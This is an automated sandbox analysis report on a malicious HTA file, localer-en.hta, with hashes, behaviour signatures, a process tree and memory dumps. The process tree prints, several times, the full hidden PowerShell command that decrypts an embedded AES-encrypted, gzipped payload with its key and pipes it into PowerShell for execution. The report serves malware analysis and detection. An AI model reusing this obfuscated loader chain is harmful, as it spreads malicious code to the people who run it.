Analysis

  • max time kernel
    117s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    17-08-2023 07:41

General

  • Target

    localer-en.hta

  • Size

    1.1MB

  • MD5

    674e3c0ae0f2627c10b58a717ee093bd

  • SHA1

    21f15d58046119712572a5114b781027c99f7bc4

  • SHA256

    b5f52078915dbe23dcb847e7badd546e1325403e56694ea624aac39c68d6f985

  • SHA512

    4d6444d49befa990756aa4e668ac6b664b4bdd1b19bf3914afe067ed0ed0d6ee6e34a114e0a47d1363bcf588b307f032b3c0638620385f02d12583f1706d37ef

  • SSDEEP

    1536:7pLwiizmnY5q7O2Db9L1/j/SFBOWrhRxPNahQo8y8Im+lIWFT5YhmFfON/H8P2c0:7ppizmnYs7Og9LNjaH1rhRxPNahYYPs

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\localer-en.hta"
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2472
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $jvrvREYW = 'AAAAAAAAAAAAAAAAAAAAACgiT7Y6Z5d/gZwdUWnb/wGi4NctLSgkyccbly+bEqQsyRsSSqGsbJkH8xfddXt1oDHIKDlWlkPbqfbGz7Pqyi8DESzA5X9WncEpM+hQdLk6SnFNyN7Jv2VHG5Kfp/y4cw1AfxzLYmEGNCdUsR1JiqlFnCLj02Pq6PcZynb5Srpc8xDiyvtwMifuO7Na/a3hWjJ/MxJ0qCdBl/uag/A2lOte5S6dmgxB97AjvlQD6+XzkIpm+Cyd13C7wRAQ4ezINZzs9oMChO54QkRC7+AZhpVgw/vSUr2Mvo6rBLBD2SUx5mLjXOUlfO+qI8/RuDoqKji4hNYsRRDe5jcSwTHMTNf8Zea5zKrBV0yduMUBgDZRVfPAyLyF0IJeTgCsNNbtcNItTHW6NpzI3L7dyfL23vAMG0YpE2wIidNAvyYzYwKb5HUYHGRciHJCm2zyT0ohu27CR7v63ad1DRUiBdR8CHxLodUpDYz49YAwcpcNOKw+kAJ6C7662AFYdrwJFzRI4hpUd6smMl0xS25yr4eIxgEk5AZ02dptSG5SP5bsrq+N52rMlvKV2VlMTc9j61edotkWFoFj6H5rLeTWngfraYY1+qRFh4KQYqN48hPLqo2q+qbwsxRRVU9JHGRjARME4Gu1WOqX5dv/RhQH0w+67EGyyLZa8osvyqrrOqA5QhXMuZT1zB/XuQu9Xd2jPpYTcCxQ6uUH3snmxKT6yEZVA0S3SguKXBxUZ80uGEe2VuaUzDT+nFDoKUUuubIb4CU66ScnyzfXI5LeB+9/TtowRSaEpy1CVhMl6WZ/fYRXvk1lGnJPrhZfbPSYZZx/k7VyhKYHe2AY2YeMItx3v3PGULaX9ktSeiJ2T6N7ZE85xKZ+SD1xgIPv7grsnTBCKR9I8qjIcjVh3W//6FkCBv9WLc+jmfnvFATuBwxGAvSx5/IQKf0nG+wvVZVRl0Z6WuysQ8BMMd7HJ4PD4tPpM7etQiFPIMdiMXUgc5608zbHvqmuhn/03fZlHLqON4OhTX1a7Z+vVxp0gMIoox1wBxuCzws=';$buWIRXRM = 'Y3J5enZTRlFMY1lVZkFzdFdhUkFpZnpQTkhuRlF5UFE=';$WpUVMfnw = New-Object 'System.Security.Cryptography.AesManaged';$WpUVMfnw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WpUVMfnw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WpUVMfnw.BlockSize = 128;$WpUVMfnw.KeySize = 256;$WpUVMfnw.Key = [System.Convert]::FromBase64String($buWIRXRM);$wQRtj = [System.Convert]::FromBase64String($jvrvREYW);$DzLdUhRi = $wQRtj[0..15];$WpUVMfnw.IV = $DzLdUhRi;$jJnybVCSh = $WpUVMfnw.CreateDecryptor();$HDfASYyGf = $jJnybVCSh.TransformFinalBlock($wQRtj, 16, $wQRtj.Length - 16);$WpUVMfnw.Dispose();$RtuBu = New-Object System.IO.MemoryStream( , $HDfASYyGf );$coZHjS = New-Object System.IO.MemoryStream;$ZbwYXDHvr = New-Object System.IO.Compression.GzipStream $RtuBu, ([IO.Compression.CompressionMode]::Decompress);$ZbwYXDHvr.CopyTo( $coZHjS );$ZbwYXDHvr.Close();$RtuBu.Close();[byte[]] $lBmCn = $coZHjS.ToArray();$EcHwkbNX = [System.Text.Encoding]::UTF8.GetString($lBmCn);$EcHwkbNX | powershell - }
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2384
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c powershell.exe $jvrvREYW = 'AAAAAAAAAAAAAAAAAAAAACgiT7Y6Z5d/gZwdUWnb/wGi4NctLSgkyccbly+bEqQsyRsSSqGsbJkH8xfddXt1oDHIKDlWlkPbqfbGz7Pqyi8DESzA5X9WncEpM+hQdLk6SnFNyN7Jv2VHG5Kfp/y4cw1AfxzLYmEGNCdUsR1JiqlFnCLj02Pq6PcZynb5Srpc8xDiyvtwMifuO7Na/a3hWjJ/MxJ0qCdBl/uag/A2lOte5S6dmgxB97AjvlQD6+XzkIpm+Cyd13C7wRAQ4ezINZzs9oMChO54QkRC7+AZhpVgw/vSUr2Mvo6rBLBD2SUx5mLjXOUlfO+qI8/RuDoqKji4hNYsRRDe5jcSwTHMTNf8Zea5zKrBV0yduMUBgDZRVfPAyLyF0IJeTgCsNNbtcNItTHW6NpzI3L7dyfL23vAMG0YpE2wIidNAvyYzYwKb5HUYHGRciHJCm2zyT0ohu27CR7v63ad1DRUiBdR8CHxLodUpDYz49YAwcpcNOKw+kAJ6C7662AFYdrwJFzRI4hpUd6smMl0xS25yr4eIxgEk5AZ02dptSG5SP5bsrq+N52rMlvKV2VlMTc9j61edotkWFoFj6H5rLeTWngfraYY1+qRFh4KQYqN48hPLqo2q+qbwsxRRVU9JHGRjARME4Gu1WOqX5dv/RhQH0w+67EGyyLZa8osvyqrrOqA5QhXMuZT1zB/XuQu9Xd2jPpYTcCxQ6uUH3snmxKT6yEZVA0S3SguKXBxUZ80uGEe2VuaUzDT+nFDoKUUuubIb4CU66ScnyzfXI5LeB+9/TtowRSaEpy1CVhMl6WZ/fYRXvk1lGnJPrhZfbPSYZZx/k7VyhKYHe2AY2YeMItx3v3PGULaX9ktSeiJ2T6N7ZE85xKZ+SD1xgIPv7grsnTBCKR9I8qjIcjVh3W//6FkCBv9WLc+jmfnvFATuBwxGAvSx5/IQKf0nG+wvVZVRl0Z6WuysQ8BMMd7HJ4PD4tPpM7etQiFPIMdiMXUgc5608zbHvqmuhn/03fZlHLqON4OhTX1a7Z+vVxp0gMIoox1wBxuCzws=';$buWIRXRM = 'Y3J5enZTRlFMY1lVZkFzdFdhUkFpZnpQTkhuRlF5UFE=';$WpUVMfnw = New-Object 'System.Security.Cryptography.AesManaged';$WpUVMfnw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WpUVMfnw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WpUVMfnw.BlockSize = 128;$WpUVMfnw.KeySize = 256;$WpUVMfnw.Key = [System.Convert]::FromBase64String($buWIRXRM);$wQRtj = [System.Convert]::FromBase64String($jvrvREYW);$DzLdUhRi = $wQRtj[0..15];$WpUVMfnw.IV = $DzLdUhRi;$jJnybVCSh = $WpUVMfnw.CreateDecryptor();$HDfASYyGf = $jJnybVCSh.TransformFinalBlock($wQRtj, 16, $wQRtj.Length - 16);$WpUVMfnw.Dispose();$RtuBu = New-Object System.IO.MemoryStream( , $HDfASYyGf );$coZHjS = New-Object System.IO.MemoryStream;$ZbwYXDHvr = New-Object System.IO.Compression.GzipStream $RtuBu, ([IO.Compression.CompressionMode]::Decompress);$ZbwYXDHvr.CopyTo( $coZHjS );$ZbwYXDHvr.Close();$RtuBu.Close();[byte[]] $lBmCn = $coZHjS.ToArray();$EcHwkbNX = [System.Text.Encoding]::UTF8.GetString($lBmCn);$EcHwkbNX | powershell -
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2972
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe $jvrvREYW = 'AAAAAAAAAAAAAAAAAAAAACgiT7Y6Z5d/gZwdUWnb/wGi4NctLSgkyccbly+bEqQsyRsSSqGsbJkH8xfddXt1oDHIKDlWlkPbqfbGz7Pqyi8DESzA5X9WncEpM+hQdLk6SnFNyN7Jv2VHG5Kfp/y4cw1AfxzLYmEGNCdUsR1JiqlFnCLj02Pq6PcZynb5Srpc8xDiyvtwMifuO7Na/a3hWjJ/MxJ0qCdBl/uag/A2lOte5S6dmgxB97AjvlQD6+XzkIpm+Cyd13C7wRAQ4ezINZzs9oMChO54QkRC7+AZhpVgw/vSUr2Mvo6rBLBD2SUx5mLjXOUlfO+qI8/RuDoqKji4hNYsRRDe5jcSwTHMTNf8Zea5zKrBV0yduMUBgDZRVfPAyLyF0IJeTgCsNNbtcNItTHW6NpzI3L7dyfL23vAMG0YpE2wIidNAvyYzYwKb5HUYHGRciHJCm2zyT0ohu27CR7v63ad1DRUiBdR8CHxLodUpDYz49YAwcpcNOKw+kAJ6C7662AFYdrwJFzRI4hpUd6smMl0xS25yr4eIxgEk5AZ02dptSG5SP5bsrq+N52rMlvKV2VlMTc9j61edotkWFoFj6H5rLeTWngfraYY1+qRFh4KQYqN48hPLqo2q+qbwsxRRVU9JHGRjARME4Gu1WOqX5dv/RhQH0w+67EGyyLZa8osvyqrrOqA5QhXMuZT1zB/XuQu9Xd2jPpYTcCxQ6uUH3snmxKT6yEZVA0S3SguKXBxUZ80uGEe2VuaUzDT+nFDoKUUuubIb4CU66ScnyzfXI5LeB+9/TtowRSaEpy1CVhMl6WZ/fYRXvk1lGnJPrhZfbPSYZZx/k7VyhKYHe2AY2YeMItx3v3PGULaX9ktSeiJ2T6N7ZE85xKZ+SD1xgIPv7grsnTBCKR9I8qjIcjVh3W//6FkCBv9WLc+jmfnvFATuBwxGAvSx5/IQKf0nG+wvVZVRl0Z6WuysQ8BMMd7HJ4PD4tPpM7etQiFPIMdiMXUgc5608zbHvqmuhn/03fZlHLqON4OhTX1a7Z+vVxp0gMIoox1wBxuCzws=';$buWIRXRM = 'Y3J5enZTRlFMY1lVZkFzdFdhUkFpZnpQTkhuRlF5UFE=';$WpUVMfnw = New-Object 'System.Security.Cryptography.AesManaged';$WpUVMfnw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WpUVMfnw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WpUVMfnw.BlockSize = 128;$WpUVMfnw.KeySize = 256;$WpUVMfnw.Key = [System.Convert]::FromBase64String($buWIRXRM);$wQRtj = [System.Convert]::FromBase64String($jvrvREYW);$DzLdUhRi = $wQRtj[0..15];$WpUVMfnw.IV = $DzLdUhRi;$jJnybVCSh = $WpUVMfnw.CreateDecryptor();$HDfASYyGf = $jJnybVCSh.TransformFinalBlock($wQRtj, 16, $wQRtj.Length - 16);$WpUVMfnw.Dispose();$RtuBu = New-Object System.IO.MemoryStream( , $HDfASYyGf );$coZHjS = New-Object System.IO.MemoryStream;$ZbwYXDHvr = New-Object System.IO.Compression.GzipStream $RtuBu, ([IO.Compression.CompressionMode]::Decompress);$ZbwYXDHvr.CopyTo( $coZHjS );$ZbwYXDHvr.Close();$RtuBu.Close();[byte[]] $lBmCn = $coZHjS.ToArray();$EcHwkbNX = [System.Text.Encoding]::UTF8.GetString($lBmCn);$EcHwkbNX
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2820
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2032

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OMHOXESL6BCCB1ZO49BA.temp

    Filesize

    7KB

    MD5

    f9129143ae15ee35ed7f5a04976c5c25

    SHA1

    83aa38894afe1eba71c54e6f8af37f938c927463

    SHA256

    88e47fbb27e3fc4ea047e1369b543ccbf265af6a276d66fe2fcda9f7d13f3461

    SHA512

    6dba9807299dbfd203e227734d895afcb414f153086a6730a8e6ba965c10366c9dcebee4d0a47bf36a9818feaca4e50f0c405fce8b489b7ae922453bb1ba2a00

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    f9129143ae15ee35ed7f5a04976c5c25

    SHA1

    83aa38894afe1eba71c54e6f8af37f938c927463

    SHA256

    88e47fbb27e3fc4ea047e1369b543ccbf265af6a276d66fe2fcda9f7d13f3461

    SHA512

    6dba9807299dbfd203e227734d895afcb414f153086a6730a8e6ba965c10366c9dcebee4d0a47bf36a9818feaca4e50f0c405fce8b489b7ae922453bb1ba2a00

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    f9129143ae15ee35ed7f5a04976c5c25

    SHA1

    83aa38894afe1eba71c54e6f8af37f938c927463

    SHA256

    88e47fbb27e3fc4ea047e1369b543ccbf265af6a276d66fe2fcda9f7d13f3461

    SHA512

    6dba9807299dbfd203e227734d895afcb414f153086a6730a8e6ba965c10366c9dcebee4d0a47bf36a9818feaca4e50f0c405fce8b489b7ae922453bb1ba2a00

  • memory/2032-79-0x0000000001E10000-0x0000000001E50000-memory.dmp

    Filesize

    256KB

  • memory/2032-68-0x0000000072140000-0x00000000726EB000-memory.dmp

    Filesize

    5.7MB

  • memory/2032-73-0x0000000072140000-0x00000000726EB000-memory.dmp

    Filesize

    5.7MB

  • memory/2032-74-0x0000000001E10000-0x0000000001E50000-memory.dmp

    Filesize

    256KB

  • memory/2032-87-0x0000000072140000-0x00000000726EB000-memory.dmp

    Filesize

    5.7MB

  • memory/2384-60-0x00000000720D0000-0x000000007267B000-memory.dmp

    Filesize

    5.7MB

  • memory/2384-59-0x0000000000770000-0x00000000007B0000-memory.dmp

    Filesize

    256KB

  • memory/2384-57-0x00000000720D0000-0x000000007267B000-memory.dmp

    Filesize

    5.7MB

  • memory/2384-58-0x0000000000770000-0x00000000007B0000-memory.dmp

    Filesize

    256KB

  • memory/2384-56-0x00000000720D0000-0x000000007267B000-memory.dmp

    Filesize

    5.7MB

  • memory/2820-82-0x0000000072140000-0x00000000726EB000-memory.dmp

    Filesize

    5.7MB

  • memory/2820-86-0x0000000072140000-0x00000000726EB000-memory.dmp

    Filesize

    5.7MB